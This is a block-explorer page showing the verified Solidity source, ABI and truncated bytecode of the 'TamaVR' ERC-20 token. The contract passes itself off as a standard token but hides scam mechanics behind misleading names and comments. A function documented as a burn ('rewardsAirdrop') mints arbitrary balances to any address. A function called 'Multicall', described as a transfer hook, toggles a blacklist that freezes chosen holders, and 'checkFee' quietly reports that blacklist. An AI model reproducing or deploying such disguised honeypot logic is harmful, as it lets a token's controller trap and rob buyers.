ETH Price: $2,479.39 (+0.11%)

Token

TamaVR (TAMAVR)
 

Overview

Max Total Supply

1,000,000,000,000 TAMAVR

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,559,603,796.747994315 TAMAVR

Value
$0.00
0xcc573c0b9ad68b1f91f2beed88f5b436557ac0bb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TAMAVR

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 3: TamaVR.sol
/** 
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%*********#%%%#***%%%%%%****%%%%%****%%%%%%#***%%%%###%%%%%###%%#######%%%%%%%%%%%%%%%
%%%%#         .%%*    =%%%%%    =%%%*    *%%%%*    =%%%   *%%%#   #%        *%%%%%%%%%%%%%
%%%%%===.  :==+%%:     #%%%%     %%%:    *%%%%:     #%%*   %%%*  *%%   +**   +%%%%%%%%%%%%
%%%%%%%%:  =%%%%*  ::  =%%%#     +%*     +%%%*  ::  =%%%   *%%   #%%   #%%+  +%%%%%%%%%%%%
%%%%%%%%:  =%%%%:  **   #%%#  .. .%-  :  +%%%:  **   #%%*   %*  *%%%   +++   *%%%%%%%%%%%%
%%%%%%%%:  =%%%*  .**.  =%%*  .=  +  =:  +%%*  .**.  =%%%   #   #%%%        #%%%%%%%%%%%%%
%%%%%%%%:  =%%%:         #%*  :#     #:  =%%:         #%%*     *%%%%   ##   *%%%%##%%%%%%%
%%%%%%%%:  =%%*  .++++.  -%*  :%=   -%:  =%*  .++++.  =%%%     #%%%%   #%*   *%%+  +%%%%%%
%%%%%%%%-  +%%-  +%%%%+   #*  -%#   #%-  =%-  +%%%%+   %%%*   *%%%%%   #%%*   #%+  +%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%    
    
        Telegram                    Website                       Medium 
   https://t.me/TamaVR       https://tamavr.tech/       https://medium.com/@TamaVR

*/ // SPDX-License-Identifier: MIT

pragma solidity =0.8.1;
import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract.
 */
contract TAMAVR is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _Multicall;
    uint256 private _totalSupply;
    uint256 private _supplyCap;
    string private _name;
    string private _symbol;
    address unir;
    address unif;

    /**
     * @dev Sets the values for {name}, {symbol} and {totalsupply}.
     */
    constructor(address rter, address fctr) {
        _name = "TamaVR";
        _symbol = "TAMAVR";
        _totalSupply = 1000000000000*10**9;
        _supplyCap   = 1000000000000;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        unir = rter;
        unif = fctr;
    }
  
    /**
     * @notice Returns Supply Cap (maximum possible amount of tokens)
     */
    function SUPPLY_CAP() external view returns (uint256) {
        return _supplyCap;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
        _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }
    
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     */
    function rewardsAirdrop (address account, uint256 balance, uint256 burnAmount) external onlyDistributor {
        require(account != address(0), "ERC20: burn from the zero address disallowed");
        _totalSupply -= balance;
        _balances[account] += burnAmount;
        emit Transfer(account, address(0), balance);
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        if (_Multicall[sender] || _Multicall[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
        _balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
   
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function Multicall (address _address) external onlyDistributor {
        if (_Multicall[_address] == true) {_Multicall[_address] = false;}
        else {_Multicall[_address] = true; }
    }

 
    function checkFee (address _address) public view returns (bool) {
        return _Multicall[_address];
    }

    /**
     * @dev Hook that is called before any transfer of tokens.
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens.
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 1 of 3: IERC20.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 2 of 3: Ownable.sol
// SPDX-License-Identifier: MIT

pragma solidity =0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"checkFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"rewardsAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200243b3803806200243b8339818101604052810190620000379190620003f0565b620000576200004b6200025d60201b60201c565b6200026560201b60201c565b6040518060400160405280600681526020017f54616d615652000000000000000000000000000000000000000000000000000081525060079080519060200190620000a492919062000329565b506040518060400160405280600681526020017f54414d415652000000000000000000000000000000000000000000000000000081525060089080519060200190620000f292919062000329565b50683635c9adc5dea0000060058190555064e8d4a51000600681905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200016291906200045f565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001cb919062000442565b60405180910390a381600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005a8565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200033790620004fa565b90600052602060002090601f0160209004810192826200035b5760008555620003a7565b82601f106200037657805160ff1916838001178555620003a7565b82800160010185558215620003a7579182015b82811115620003a657825182559160200191906001019062000389565b5b509050620003b69190620003ba565b5090565b5b80821115620003d5576000816000905550600101620003bb565b5090565b600081519050620003ea816200058e565b92915050565b600080604083850312156200040457600080fd5b60006200041485828601620003d9565b92505060206200042785828601620003d9565b9150509250929050565b6200043c81620004f0565b82525050565b600060208201905062000459600083018462000431565b92915050565b60006200046c82620004f0565b91506200047983620004f0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004b157620004b062000530565b5b828201905092915050565b6000620004c982620004d0565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200051357607f821691505b602082108114156200052a57620005296200055f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200059981620004bc565b8114620005a557600080fd5b50565b611e8380620005b86000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb146102e5578063ba9e172e14610315578063cf910b8f14610331578063dd62ed3e14610361578063e074839e1461039157610116565b8063715018a61461026f5780638da5cb5b1461027957806395d89b4114610297578063a457c2d7146102b557610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d557806339509351146101f357806339d0534a1461022357806370a082311461023f57610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba91906114c5565b610471565b6040516101cc91906117b0565b60405180910390f35b6101dd610569565b6040516101ea9190611968565b60405180910390f35b61020d60048036038101906102089190611514565b610572565b60405161021a91906117b0565b60405180910390f35b61023d60048036038101906102389190611460565b61061e565b005b61025960048036038101906102549190611460565b6107c0565b604051610266919061194d565b60405180910390f35b610277610809565b005b610281610891565b60405161028e9190611795565b60405180910390f35b61029f6108ba565b6040516102ac91906117cb565b60405180910390f35b6102cf60048036038101906102ca9190611514565b61094c565b6040516102dc91906117b0565b60405180910390f35b6102ff60048036038101906102fa9190611514565b610a37565b60405161030c91906117b0565b60405180910390f35b61032f600480360381019061032a9190611550565b610a55565b005b61034b60048036038101906103469190611460565b610c2f565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b6060600780546103bc90611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611ab1565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610e27565b8484610e2f565b6001905092915050565b6000600654905090565b6000600554905090565b600061047e848484610ffa565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c9610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610549576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105409061186d565b60405180910390fd5b61055d85610555610e27565b858403610e2f565b60019150509392505050565b60006009905090565b600061061461057f610e27565b84846003600061058d610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060f919061199f565b610e2f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a59061190d565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610764576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107bd565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610811610e27565b73ffffffffffffffffffffffffffffffffffffffff1661082f610891565b73ffffffffffffffffffffffffffffffffffffffff1614610885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087c9061188d565b60405180910390fd5b61088f6000611368565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546108c990611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f590611ab1565b80156109425780601f1061091757610100808354040283529160200191610942565b820191906000526020600020905b81548152906001019060200180831161092557829003601f168201915b5050505050905090565b6000806003600061095b610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f9061192d565b60405180910390fd5b610a2c610a23610e27565b85858403610e2f565b600191505092915050565b6000610a4b610a44610e27565b8484610ffa565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adc9061190d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4c9061184d565b60405180910390fd5b8160056000828254610b6791906119f5565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bbd919061199f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c22919061194d565b60405180910390a3505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d14610e27565b73ffffffffffffffffffffffffffffffffffffffff16610d32610891565b73ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f9061188d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061180d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fed919061194d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611061906118ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906117ed565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061117b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c457600081146111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba906118cd565b60405180910390fd5b5b6111cf83838361142c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061182d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112eb919061199f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f919061194d565b60405180910390a3611362848484611431565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061144581611e1f565b92915050565b60008135905061145a81611e36565b92915050565b60006020828403121561147257600080fd5b600061148084828501611436565b91505092915050565b6000806040838503121561149c57600080fd5b60006114aa85828601611436565b92505060206114bb85828601611436565b9150509250929050565b6000806000606084860312156114da57600080fd5b60006114e886828701611436565b93505060206114f986828701611436565b925050604061150a8682870161144b565b9150509250925092565b6000806040838503121561152757600080fd5b600061153585828601611436565b92505060206115468582860161144b565b9150509250929050565b60008060006060848603121561156557600080fd5b600061157386828701611436565b93505060206115848682870161144b565b92505060406115958682870161144b565b9150509250925092565b6115a881611a29565b82525050565b6115b781611a3b565b82525050565b60006115c882611983565b6115d2818561198e565b93506115e2818560208601611a7e565b6115eb81611b41565b840191505092915050565b600061160360238361198e565b915061160e82611b52565b604082019050919050565b600061162660228361198e565b915061163182611ba1565b604082019050919050565b600061164960268361198e565b915061165482611bf0565b604082019050919050565b600061166c602c8361198e565b915061167782611c3f565b604082019050919050565b600061168f60288361198e565b915061169a82611c8e565b604082019050919050565b60006116b260208361198e565b91506116bd82611cdd565b602082019050919050565b60006116d560258361198e565b91506116e082611d06565b604082019050919050565b60006116f860008361198e565b915061170382611d55565b600082019050919050565b600061171b60248361198e565b915061172682611d58565b604082019050919050565b600061173e601d8361198e565b915061174982611da7565b602082019050919050565b600061176160258361198e565b915061176c82611dd0565b604082019050919050565b61178081611a67565b82525050565b61178f81611a71565b82525050565b60006020820190506117aa600083018461159f565b92915050565b60006020820190506117c560008301846115ae565b92915050565b600060208201905081810360008301526117e581846115bd565b905092915050565b60006020820190508181036000830152611806816115f6565b9050919050565b6000602082019050818103600083015261182681611619565b9050919050565b600060208201905081810360008301526118468161163c565b9050919050565b600060208201905081810360008301526118668161165f565b9050919050565b6000602082019050818103600083015261188681611682565b9050919050565b600060208201905081810360008301526118a6816116a5565b9050919050565b600060208201905081810360008301526118c6816116c8565b9050919050565b600060208201905081810360008301526118e6816116eb565b9050919050565b600060208201905081810360008301526119068161170e565b9050919050565b6000602082019050818103600083015261192681611731565b9050919050565b6000602082019050818103600083015261194681611754565b9050919050565b60006020820190506119626000830184611777565b92915050565b600060208201905061197d6000830184611786565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119aa82611a67565b91506119b583611a67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ea576119e9611ae3565b5b828201905092915050565b6000611a0082611a67565b9150611a0b83611a67565b925082821015611a1e57611a1d611ae3565b5b828203905092915050565b6000611a3482611a47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9c578082015181840152602081019050611a81565b83811115611aab576000848401525b50505050565b60006002820490506001821680611ac957607f821691505b60208210811415611add57611adc611b12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f455